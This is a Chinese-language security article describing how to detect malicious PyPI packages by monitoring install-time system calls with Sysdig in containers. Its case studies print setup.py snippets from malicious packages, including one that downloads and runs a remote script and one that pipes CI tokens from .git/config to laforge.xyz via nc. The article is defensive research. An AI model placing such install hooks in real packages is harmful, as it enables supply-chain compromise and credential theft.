技术分享 | 如何在PyPI上寻找恶意软件包
字数 1371 2025-08-15 21:32:37

在PyPI上检测恶意软件包的动态分析方法

1. 背景与概述

Python软件基金会(PyPI)作为Python生态系统的核心基础设施,面临着恶意软件包上传的安全挑战。本文详细介绍了一种通过动态分析检测PyPI恶意软件包的方法,主要监控软件包安装过程中的系统调用行为。

2. 恶意软件包的常见行为模式

恶意软件包通常通过setup.py文件执行恶意操作,主要行为包括:

  1. 系统调用滥用:通过syscalls执行文件操作、网络连接或命令执行
  2. 代码混淆:使用复杂编码隐藏实际恶意代码
  3. 依赖链攻击:通过合法依赖间接引入恶意行为

3. 动态分析方法的核心原理

3.1 系统调用监控的价值

  • 绕过代码混淆:直接观察实际行为而非源代码
  • 全面覆盖:捕获所有内核级别的操作
  • 结构化分析:系统调用提供标准化的行为数据

3.2 工具选择:Sysdig

Sysdig被选为主要工具,因其具有:

  • 结构化输出能力
  • 精细的事件过滤功能
  • 容器环境友好

4. 实施步骤详解

4.1 获取PyPI软件包列表

  1. 使用PyPI Simple API获取完整包列表:
curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt
  1. 处理约268,000个软件包

4.2 分析环境搭建

  1. Docker容器隔离:每个包在独立容器中安装
  2. Sysdig监控配置
    • 只监控目标容器事件
    • 过滤掉与pypi.org/files.pythonhosted.com的正常通信

4.3 分布式处理架构

  1. 使用EC2实例集群并行处理
  2. 数据处理流程:
    • 获取包元数据
    • 启动容器安装包
    • 同时收集系统调用和网络流量
  3. 数据存储:约1TB数据存入S3,涵盖245,000个包

5. 数据分析方法

5.1 网络行为分析

  1. 关键发现:

    • 460个包与109台独立主机建立连接
    • 需区分合法依赖和恶意行为
  2. 分析方法:

    • 依赖关系映射
    • 非标准域名的连接评估

5.2 命令执行分析

  1. 关键数据:
    • 60,725个包在安装期间执行命令
  2. 分析方法:
    • 命令内容审查
    • 执行上下文评估
    • 依赖链追溯

6. 典型案例分析

6.1 i-am-malicious包

  1. 恶意行为:

    • 从gist.github.com下载Python脚本
    • 本地执行下载的脚本
    • 创建标记文件/tmp/malicious-was-here
  2. setup.py关键代码:

from urllib.request import urlopen
handler = urlopen("https://gist.githubusercontent.com/.../malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
    fp.write(handler.read())
import subprocess
subprocess.call(["python", "/tmp/malicious.py"])

6.2 maliciouspackage包

  1. 恶意行为:

    • 安装socat工具
    • 提取.git/config中的CI令牌
    • 外传至laforge.xyz
  2. setup.py关键代码:

import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

6.3 easyIoCtl包

  1. 可疑行为:

    • 执行touch /tmp/testing123
    • 使用复杂混淆技术隐藏真实意图
  2. 代码反混淆:

# 原始混淆代码
control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp"

7. 方法优势总结

  1. 绕过混淆:系统调用层面监控不受代码混淆影响
  2. 行为聚焦:直接观察实际恶意行为而非潜在漏洞
  3. 全面覆盖:捕获所有内核级别的操作
  4. 自动化友好:适合大规模自动化分析

8. 实施建议

  1. 持续监控:建立PyPI包的自动化监控流水线
  2. 行为基线:建立合法行为的基准模式
  3. 多维度关联:结合静态分析与动态分析
  4. 社区协作:共享恶意模式特征

9. 扩展应用

该方法可适配其他包管理器:

  • npm (Node.js)
  • RubyGems (Ruby)
  • CRAN (R)
  • Maven (Java)

通过调整监控策略和工具配置,可建立跨生态系统的恶意包检测体系。

在PyPI上检测恶意软件包的动态分析方法 1. 背景与概述 Python软件基金会(PyPI)作为Python生态系统的核心基础设施,面临着恶意软件包上传的安全挑战。本文详细介绍了一种通过动态分析检测PyPI恶意软件包的方法,主要监控软件包安装过程中的系统调用行为。 2. 恶意软件包的常见行为模式 恶意软件包通常通过 setup.py 文件执行恶意操作,主要行为包括: 系统调用滥用 :通过syscalls执行文件操作、网络连接或命令执行 代码混淆 :使用复杂编码隐藏实际恶意代码 依赖链攻击 :通过合法依赖间接引入恶意行为 3. 动态分析方法的核心原理 3.1 系统调用监控的价值 绕过代码混淆:直接观察实际行为而非源代码 全面覆盖:捕获所有内核级别的操作 结构化分析:系统调用提供标准化的行为数据 3.2 工具选择:Sysdig Sysdig被选为主要工具,因其具有: 结构化输出能力 精细的事件过滤功能 容器环境友好 4. 实施步骤详解 4.1 获取PyPI软件包列表 使用PyPI Simple API获取完整包列表: 处理约268,000个软件包 4.2 分析环境搭建 Docker容器隔离 :每个包在独立容器中安装 Sysdig监控配置 : 只监控目标容器事件 过滤掉与pypi.org/files.pythonhosted.com的正常通信 4.3 分布式处理架构 使用EC2实例集群并行处理 数据处理流程: 获取包元数据 启动容器安装包 同时收集系统调用和网络流量 数据存储:约1TB数据存入S3,涵盖245,000个包 5. 数据分析方法 5.1 网络行为分析 关键发现: 460个包与109台独立主机建立连接 需区分合法依赖和恶意行为 分析方法: 依赖关系映射 非标准域名的连接评估 5.2 命令执行分析 关键数据: 60,725个包在安装期间执行命令 分析方法: 命令内容审查 执行上下文评估 依赖链追溯 6. 典型案例分析 6.1 i-am-malicious包 恶意行为: 从gist.github.com下载Python脚本 本地执行下载的脚本 创建标记文件 /tmp/malicious-was-here setup.py 关键代码: 6.2 maliciouspackage包 恶意行为: 安装socat工具 提取.git/config中的CI令牌 外传至laforge.xyz setup.py 关键代码: 6.3 easyIoCtl包 可疑行为: 执行 touch /tmp/testing123 使用复杂混淆技术隐藏真实意图 代码反混淆: 7. 方法优势总结 绕过混淆 :系统调用层面监控不受代码混淆影响 行为聚焦 :直接观察实际恶意行为而非潜在漏洞 全面覆盖 :捕获所有内核级别的操作 自动化友好 :适合大规模自动化分析 8. 实施建议 持续监控 :建立PyPI包的自动化监控流水线 行为基线 :建立合法行为的基准模式 多维度关联 :结合静态分析与动态分析 社区协作 :共享恶意模式特征 9. 扩展应用 该方法可适配其他包管理器: npm (Node.js) RubyGems (Ruby) CRAN (R) Maven (Java) 通过调整监控策略和工具配置,可建立跨生态系统的恶意包检测体系。